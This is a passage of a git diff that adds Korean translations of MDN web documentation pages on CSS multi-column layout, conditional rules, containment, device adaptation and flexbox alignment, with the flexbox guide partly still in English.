+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("columns")}}</li>
+</ul>
+</div>
+
+<h3 id="관련_CSS_Fragmentation_속성">관련 CSS Fragmentation 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">다단 레이아웃 기초 개념</a></dt>
+ <dd>다단 레이아웃 명세를 훑어봅니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Styling_Columns">단 꾸미기</a></dt>
+ <dd>구분선과 단 사이 간격을 조절합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Spanning_Columns">폭과 균형</a></dt>
+ <dd>요소가 모든 단에 걸쳐있도록 만들고, 한 단이 채워지는 방식을 조정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol">다단에서 오버플로 다루기</a></dt>
+ <dd>어떤 요소가 자신의 단을 넘쳤을 때 일어나는 일과, 컨테이너 너비에 맞추기에는 너무 많은 단이 들어있을 때 발생하는 일을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol">다단에서 콘텐츠 끊기</a></dt>
+ <dd>CSS Fragmentation 명세의 소개와 함께 단 콘텐츠를 끊는 법을 배웁니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a> (CSS 플렉스박스)</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+</ul>
diff --git a/files/ko/web/css/css_conditional_rules/index.html b/files/ko/web/css/css_conditional_rules/index.html
new file mode 100644
index 0000000000..22576d5256
--- /dev/null
+++ b/files/ko/web/css/css_conditional_rules/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS Conditional Rules
+slug: Web/CSS/CSS_Conditional_Rules
+tags:
+  - CSS
+  - CSS Conditional Rules
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Conditional_Rules
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Conditional Rules</strong>는 프로세서 또는 스타일 시트에 적용되는 문서의 기능에만 기반을 두는 규칙 집합을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@document")}}</li>
+ <li>{{cssxref("@media")}}</li>
+ <li>{{cssxref("@supports")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_containment/index.html b/files/ko/web/css/css_containment/index.html
new file mode 100644
index 0000000000..bbfe8f3e7c
--- /dev/null
+++ b/files/ko/web/css/css_containment/index.html
@@ -0,0 +1,123 @@
+---
+title: CSS Containment
+slug: Web/CSS/CSS_Containment
+translation_of: Web/CSS/CSS_Containment
+---
+<p>{{CSSRef}}<br>
+ CSS Containment 사양의 목표는 개발자가 페이지의 하위 트리(subtree)를 페이지의 나머지 부분과 분리할 수 있도록 하여 웹 페이지의 성능을 향상시키는 것입니다. 브라우저가 페이지의 일부가 독립적임을 인식하면 렌더링을 최적화 하고 성능을 개선 할 수 있습니다. 사양은 단일 CSS 속성(property) {{cssxref("contain")}}을 정의합니다. 이 문서는 사양의 기본 목표를 설명합니다.</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>많은 웹 페이지에는 서로 독립적인 여러 섹션이 포함되어 있습니다. 예를들면 아래 마크업에서와 같이 아티클, 헤드라인, 콘텐츠 로 이루어진 목록입니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>각 아티클에는 CSS에서 {{cssxref("contain")}} 속성의 값으로 <code>content</code> 가 적용되어 있습니다.</p>
+
+<pre class="brush: css notranslate">article {
+  contain: content;
+}</pre>
+
+<p>각 아티클은 페이지의 다른 아티클과 독립적이므로 브라우저에 이러한 사실을 알리기 위해 <code>contain: content</code>가 포함되어 있습니다. 그러면 브라우저는 이 정보를 사용하여 컨텐츠를 렌더링하는 방법을 결정할 수 있습니다. 예를들어 볼 수 있는 영역 밖에있는 아티클은 렌더링하지 않을 수 있습니다. </p>
+
+<p>각 <code>&lt;article&gt;</code> 에 <code>contain</code> 속성의 값을 <code>content</code> 로 제공하면, 새 요소(element)가 삽입될 때 브라우저는 containing 요소들의 하위 트리 외부 영역을 relayout(reflow)하거나 repaint 할 필요가 없음을 인식합니다. <code>&lt;article&gt;</code> 이 내용에 따라 크기가 달라지도록 스타일을 지정하더라도(예: <code>height: auto</code>), 브라우저는 크기 변경을 고려해야 할 수 있습니다.</p>
+
+<p>우리는 <code>contain</code> 속성을 통해 각 아티클이 독립적이라고 말했습니다.</p>
+
+<p><code>content</code> 값은 <code>contain: layout paint</code>의 약어입니다. 브라주어에 요소의 내부 레이아웃이 페이지의 나머지 부분과 완전히 분리되어 있으며, 요소에 대한 모든 것이 경계 내부에 그려져 있음을 알려줍니다. overflow되어 보이는 것이 없습니다.</p>
+
+<p>이 정보는 페이지를 작성하는 웹 개발자에게 일반적으로 알려져 있으며, 사실 매우 분명합니다. 그러나 브라우저는 귀하의 의도를 추측할 수 없고, 아티클이 완전히 독립적일 것이라고 가정할 수 없습니다. 따라서 이 속성은 브라우저에게 이 사실을 설명하고, 그 정보를 기반으로 성능 최적화를 수행할 수 있는 좋은 방법을 제공합니다.</p>
+
+<h2 id="주요_개념_및_용어">주요 개념 및 용어</h2>
+
+<p>이 사양은 오로지 {{cssxref("contain")}} 이라는 하나의 속성(property)만 정의합니다. 이 속성의 값은 해당 요소에 적용 할 포함 유형을 나타냅니다.</p>
+
+<h3 id="Layout_containment">Layout containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: layout;
+}</pre>
+
+<p>Layout 은 일반적으로 전체 문서로 범위가 지정됩니다. 즉, 하나의 요소를 이동하면 전체 문서를 다른 곳으로 이동할 수 있는 것처럼 처리해야 합니다. 그러나 <code>contain: layout</code> 을 사용하면 브라우저에 이 요소만 확인하면 된다고 알려줄 수 있습니다. 요소 내부의 모든 항목은 해당 요소로 범위가 지정되고, 페이지의 나머지 부분에는 영향을 주지 않습니다. 그리고 containing box는 독립적인 formatting context를 설정합니다.</p>
+
+<p>추가사항</p>
+
+<ul>
+ <li><code>float</code> 레이아웃은 독립적으로 수행됩니다.</li>
+ <li>Margin 이 layout containment 경계를 가로질러 병합(collapse)되지 않습니다.</li>
+ <li>layout 컨테이너는 position: <code>absolute</code>/<code>fixed</code> 의 하위 항목에 대한 containing block이 됩니다.</li>
+ <li>containing box는 stacking context를 생성합니다. 따라서 {{cssxref("z-index")}} 를 사용할 수 있습니다.</li>
+</ul>
+
+<h3 id="Paint_containment">Paint containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: paint;
+}</pre>
+
+<p>Paint containment 는 기본적으로 박스를 주요 박스(principal box)의 패딩 경계에 클립(clip - 맞춰서 채우기)합니다. overflow되어 보이는 것이 없습니다. <code>paint</code> containment 도 <code>layout</code> containment 와 마찬가지입니다. (위 참조).</p>
+
+<p>또다른 장점은 containing box가 화면 밖에 있으면, 브라우저가 contained 요소를 paint 할 필요가 없다는 것입니다. 이 때 요소가 box에 포함되어 있으므로 화면에 표시되지 않아야 합니다.</p>
+
+<h3 id="Size_containment">Size containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: size;
+}</pre>
+
+<p>Size containment 는 자체적으로 사용될 때 성능 최적화 방법을 많이 제공하지 않습니다. 그러나 이는 요소의 자식 크기가 요소 자체의 크기에 영향을 줄 수 없음을 의미합니다. 요소의 크기는 자식이 존재하지 않는 것처럼 계산됩니다.</p>
+
+<p><code>contain: size</code> 를 적용하면, 이를 적용한 요소의 크기도 지정해야 합니다. 수동으로 크기를 지정하지 않으면, 대부분의 경우 크기가 0이 됩니다.</p>
+
+<h3 id="Style_containment">Style containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: style;
+}</pre>
+
+<p>style containment 는 이름에도 불구하고 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>에서 얻을 수 있는 범위(scope) 스타일을 제공하지 않습니다. 주요 사용 사례는, 요소에서 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS Counter</a> 가 변경되어 나머지 트리에 영향을 미칠 수 있는 상황을 방지하는 것입니다.</p>
+
+<p><code>contain: style</code> 을 사용하면 {{cssxref("counter-increment")}} 와 {{cssxref("counter-set")}} 속성이 해당 하위 트리로만 범위가 지정된 새 카운터를 만들 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>style</code> containment 는 사양에서 "at-risk" 이며, 모든 곳에서 지원하지 않을 수 있습니다(현재 파이어폭스는 지원하지 않음).</p>
+</div>
+
+<h3 id="Special_values">Special values</h3>
+
+<p>contain 에는 두 가지 특수한 값이 있습니다.</p>
+
+<ul>
+ <li><code>content</code></li>
+ <li><code>strict</code></li>
+</ul>
+
+<p>위의 예에서 첫 번째를 만났습니다. <code>contain: content</code> 는 <code>layout</code> 과 <code>paint</code> containment를 모두 활성화합니다. 사양에서는 이 값을 "광범위하게 적용하기에 합리적으로 안전" 하다고 설명합니다. <code>size</code> containment 를 적용하지 않으므로 자식의 크기에 의존하고, 때문에 박스 크기가 0이 될 위험이 없습니다.</p>
+
+<p>가능한 많은 containment 를 얻으려면 <code>contain: strict</code> 를 사용할 수 있습니다. 이는 <code>contain: size layout paint</code> 와 같습니다. 또는 <code>style</code> containment 를 지원하는 브라우저에서는 다음과 같이 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">contain: strict;
+contain: strict style;</pre>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<ul>
+ <li>{{cssxref("contain")}}</li>
+</ul>
+
+<h2 id="External_resources">External resources</h2>
+
+<ul>
+ <li><a href="https://blogs.igalia.com/mrego/2019/01/11/an-introduction-to-css-containment/">An Introduction to CSS Containment</a></li>
+ <li><a href="https://dev.opera.com/articles/css-will-change-property">Everything You Need to Know About the CSS <code>will-change</code> Property</a></li>
+</ul>
diff --git a/files/ko/web/css/css_device_adaptation/index.html b/files/ko/web/css/css_device_adaptation/index.html
new file mode 100644
index 0000000000..bd55f655bc
--- /dev/null
+++ b/files/ko/web/css/css_device_adaptation/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Device Adaptation
+slug: Web/CSS/CSS_Device_Adaptation
+tags:
+  - CSS
+  - CSS Device Adaptation
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Device_Adaptation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Device Adapation</strong>은 뷰포트의 크기, 줌 배율(factor) 및 방향을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@viewport")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
new file mode 100644
index 0000000000..677cf2fdaf
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
@@ -0,0 +1,211 @@
+---
+title: Aligning Items in a Flex Container
+slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">flexbox가 웹 개발자들의 관심 받게된 이유 중 하나는 웹 최초로 최초로 적절한 정렬 기능을 제공했기 때문입니다. flexbox의 수직 정렬 기능을 이용하여 우리는 드디어 쉽게 박스(역주: 여기서 박스는 <strong>flex 컨테이너</strong>를 의미합니다)  내부를 중앙 정렬 할 수 있게 되었습니다. 이 가이드에서 우리는 flexbox의 정렬 및 끝 마추기 기능에 대해 자세히 살펴볼 것입니다.</p>
+
+<p>박스 내부를 중앙 정렬 하기 위해 박스에 <code>align-items</code> 속성을 지정하면 교차 축에 대해 flex 항목을 정렬할 수 있습니다. 아래 경우, 교차 축은 수직 축입니다. <code>justify-content</code> 속성을 지정하면 flex 항목을 주축에 대해 정렬 할 수 있습니다. 아래 경우, 주축은 수평 방향입니다.</p>
+
+<p><img alt="A containing element with another box centered inside it." src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
+
+
+
+<p>아래 예제의 코드를 살펴보세요. flex 컨테이너(역주: .box로 지정된 div 태그)나 flex 항목(역주:  .box div로 지정된 div 태그)의 크기를 조절해도 flex 컨테이너 내부는 중앙 정렬됨을 보실 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="정렬_제어용_속성_목록">정렬 제어용 속성 목록</h2>
+
+<p>이 글에서 살펴볼 속성들은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{cssxref("justify-content")}} — 주축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.</li>
+ <li>{{cssxref("align-items")}} — 교차축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.</li>
+ <li>{{cssxref("align-self")}} — 개별 flex 항목을 교차 축에 대해 정렬 하는 방식을 제어. flex 항목에 지정하는 속성.</li>
+ <li>{{cssxref("align-content")}} — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.</li>
+</ul>
+
+<p>또한, 이글에서 flexbox기반 정렬에서 margin 속성 값이 어떨게 쓰이는지 살펴볼 것입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The alignment properties in Flexbox have been placed into their own specification — <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. It is expected that this spec will ultimately supersede the properties as defined in Flexbox Level One.</p>
+</div>
+
+<h2 id="교차축">교차축</h2>
+
+<p><code>align-items</code>와 <code>align-self</code> 속성들은 flex 항목들을 교차축으로 정렬하는 것을 제어합니다. 만약, <code>flex-direction</code>이 <code>row</code>로 설정되어있다면 열 (column) 아래로 정렬을 하게되고, <code>flex-direction</code>이 <code>column</code>으로 설정되어있다면 행 (row)을 따라 정렬됩니다. </p>
+
+<p>가장 간단한 flex예시는 교차축을 이용합니다. <code>display: flex</code>를 컨테이너에 추가하게되면, 모든 자식 항목들이 열 (row), 즉 가로 방향으로 정렬이 되는 flex 항목이 됩니다. 이 경우 가장 큰 y축의 크기, 즉 높이가 가장 큰 자식 항목이 교차축의 높이를 정의하게 되고, 나머지 자식 항목들은 이 높이에 맞추어 높이가 늘어나게 됩니다. 만약 flex 컨테이너의 높이가 지정이 되어있다면, 자식 항목 내용에 상관없이 지정된 높이 만큼 모든 자식 항목들이 늘어나게됩니다. </p>
+
+<p><img alt="Three items, one with additional text causing it to be taller than the others." src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
+
+<p><img alt="Three items stretched to 200 pixels tall" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
+
+<p>모든 항목들이 같은 높이를 갖게되는 이유는 교차축을 중심으로 정렬을 제어하는 속성인 <code>align-items</code>에 지정된 초기값이 <code>stretch</code>로 설정이 되어있기 때문입니다. </p>
+
+<p>이외에도 다른 값을 지정해서 항목들이 정렬되는 방식을 다르게 정의 할 수 있습니다:</p>
+
+<ul>
+ <li><code>align-items: flex-start</code></li>
+ <li><code>align-items: flex-end</code></li>
+ <li><code>align-items: center</code></li>
+ <li><code>align-items: stretch</code></li>
+ <li><code>align-items: baseline</code></li>
+</ul>
+
+<p>아래의 예시를 보면, <code>align-items</code>값이 <code>stretch</code>로 지정이 되어있습니다. 여기에 다른 값들을 넣어서 항목들이 flex 컨테이너 안에서 어떻게 정렬이 되는지 확인해보세요.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
+
+<h3 id="align-self로_항목_한_개를_정렬하기"><code>align-self</code>로 항목 한 개를 정렬하기</h3>
+
+<p>The <code>align-items</code> property sets the <code>align-self</code> property on all of the flex items as a group. This means you can explicitly declare the <code>align-self</code> property to target a single item. The <code>align-self</code> property accepts all of the same values as <code>align-items</code> plus a value of <code>auto</code>, which will reset the value to that which is defined on the flex container.</p>
+
+<p>In this next live example, the flex container has <code>align-items: flex-start</code>, which means the items are all aligned to the start of the cross axis. I have targeted the first item using a <code>first-child</code> selector and set that item to <code>align-items: stretch</code>; another item has been selected using its class of <code>selected</code> and given <code>align-self: </code><code>center</code>. You can change the value of <code>align-items</code> or change the values of <code>align-self</code> on the individual items to see how this works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
+
+<h3 id="Changing_the_main_axis">Changing the main axis</h3>
+
+<p>So far we have looked at the behaviour when our <code>flex-direction</code> is <code>row</code>, and while working in a language written top to bottom. This means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
+
+<p>If we change our <code>flex-direction</code> to column, <code>align-items</code> and <code>align-self</code> will align the items to the left and right.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
+
+<p>You can try this out in the example below, which has a flex container with <code>flex-direction: column</code> yet otherwise is exactly the same as the previous example.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} </p>
+
+<h2 id="Aligning_content_on_the_cross_axis_—_the_align-content_property">Aligning content on the cross axis — the align-content property</h2>
+
+<p>So far we have been aligning the items, or an individual item inside the area defined by the flex-container. If you have a wrapped multiple-line flex container then you might also want to use the <code>align-content</code> property to control the distribution of space between the rows. In the specification this is described as <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">packing flex lines</a>.</p>
+
+<p>For <code>align-content</code> to work you need more height in your flex container than is required to display the items. It then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it.</p>
+
+<p>The <code>align-content</code> property takes the following values:</p>
+
+<ul>
+ <li><code>align-content: flex-start</code></li>
+ <li><code>align-content: flex-end</code></li>
+ <li><code>align-content: center</code></li>
+ <li><code>align-content: space-between</code></li>
+ <li><code>align-content: space-around</code></li>
+ <li><code>align-content: stretch</code></li>
+ <li><code>align-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>In the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. The value of <code>align-content</code> is <code>space-between</code>, which means that the available space is shared out <em>between</em> the flex lines, which are placed flush with the start and end of the container on the cross axis.</p>
+
+<p>Try out the other values to see how the <code>align-content</code> property works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
+
+<p>Once again we can switch our <code>flex-direction</code> to <code>column</code> in order to see how this property behaves when we are working by column. As before, we need enough space in the cross axis to have some free space after displaying all of the items.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
+
+<div class="note">
+<p><strong>Note</strong>: the value <code>space-evenly</code> is not defined in the flexbox specification and is a later addition to the Box Alignment specification. Browser support for this value is not as good as that of the values defined in the flexbox spec.</p>
+</div>
+
+<p>See the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content">documentation for <code>justify-content</code> on MDN</a> for more details on all of these values and browser support.</p>
+
+<h2 id="Aligning_content_on_the_main_axis">Aligning content on the main axis</h2>
+
+<p>Now that we have seen how alignment works on the cross axis, we can take a look at the main axis. Here we only have one property available to us — <code>justify-content</code>. This is because we are only dealing with items as a group on the main axis. With <code>justify-content</code> we control what happens with available space, should there be more space than is needed to display the items.</p>
+
+<p>In our initial example with <code>display: flex</code> on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of <code>justify-content</code> being <code>flex-start</code>. Any available space is placed at the end of the items.</p>
+
+<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>The <code>justify-content</code> property accepts the same values as <code>align-content</code>.</p>
+
+<ul>
+ <li><code>justify-content: flex-start</code></li>
+ <li><code>justify-content: flex-end</code></li>
+ <li><code>justify-content: center</code></li>
+ <li><code>justify-content: space-between</code></li>
+ <li><code>justify-content: space-around</code></li>
+ <li><code>justify-content: stretch</code></li>
+ <li><code>justify-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>In the example below, the value of <code>justify-content</code> is <code>space-between</code>. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} </p>
+
+<p>If the main axis is in the block direction because <code>flex-direction</code> is set to <code>column</code>, then <code>justify-content</code> will distribute space between items in that dimension as long as there is space in the flex container to distribute.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} </p>
+
+<h3 id="Alignment_and_Writing_Modes">Alignment and Writing Modes</h3>
+
+<p>Remember that with all of these alignment methods, the values of <code>flex-start</code> and <code>flex-end</code> are writing mode-aware. If the value of <code>justify-content</code> is <code>start</code> and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.</p>
+
+<p><img alt="Three items lined up on the left" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.</p>
+
+<p><img alt="Three items lined up from the right" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>The live example below has the <code>direction</code> property set to <code>rtl</code> to force a right-to-left flow for our items. You can remove this, or change the values of <code>justify-content</code> to see how flexbox behaves when the start of the inline direction is on the right.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
+
+<h2 id="Alignment_and_flex-direction">Alignment and flex-direction</h2>
+
+<p>The start line will also change if you change the <code>flex-direction</code> property — for example using <code>row-reverse</code> instead of <code>row</code>.</p>
+
+<p>In this next example I have items laid out with <code>flex-direction: row-reverse</code> and <code>justify-content: flex-end</code>. In a left to right language the items all line up on the left. Try changing <code>flex-direction: row-reverse</code> to <code>flex-direction: row</code>. You will see that the items now move to the right hand side.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
+
+<p>While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. <code>flex-start</code> will be where the start of a sentence of text would begin.</p>
+
+<p><img alt="Diagram showing start on the left and end on the right." src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>You can switch them to display in the block direction for the language of your document by selecting <code>flex-direction: column</code>. Then <code>flex-start</code> will then be where the top of your first paragraph of text would start.</p>
+
+<p><img alt="Diagram showing start at the top and end at the bottom." src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. <code>flex-start</code> will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.</p>
+
+<p><img alt="Diagram showing start on the right and end on the left." src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Diagram showing end at the top and start at the bottom" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<h2 id="Using_auto_margins_for_main_axis_alignment">Using auto margins for main axis alignment</h2>
+
+<p>We don’t have a <code>justify-items</code> or <code>justify-self</code> property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.</p>
+
+<p>A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a <code>justify-self</code> property, however consider the image below. I have three items on one side and two on the other. If I were able to use <code>justify-self</code> on item <em>d</em>, it would also change the alignment of item <em>e</em> that follows, which may or may not be my intention.</p>
+
+<p><img alt="Five items, in two groups. Three on the left and two on the right." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
+
+<p>Instead we can target item 4 and separate it from the first three items by giving it a <code>margin-left</code> value of <code>auto</code>. Auto margins will take up all of the space that they can in their axis — it is how centering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.</p>
+
+<p>In this live example, I have flex items arranged simply into a row with the basic flex values, and the class <code>push</code> has <code>margin-left: auto</code>. You can try removing this, or adding the class to another item to see how it works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
+
+<h2 id="Future_alignment_features_for_Flexbox">Future alignment features for Flexbox</h2>
+
+<p>At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the <code>space-evenly</code> value for <code>align-content</code> and <code>justify-content</code> properties.</p>
+
+<p>The Box Alignment module also includes other methods of creating space between items, such as the <code>column-gap</code> and <code>row-gap</code> feature as seen in <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. The inclusion of these properties in Box Alignment means that in future we should be able to use <code>column-gap</code> and <code>row-gap</code> in flex layouts too, and in Firefox 63 you will find the first browser implementation of the gap properties in flex layout.</p>
+
+<p>My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, and I have also compared how alignment works in these specifications in my <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">Box Alignment in Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">Box Alignment in Grid Layout</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html b/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html
new file mode 100644
index 0000000000..1966114608
--- /dev/null
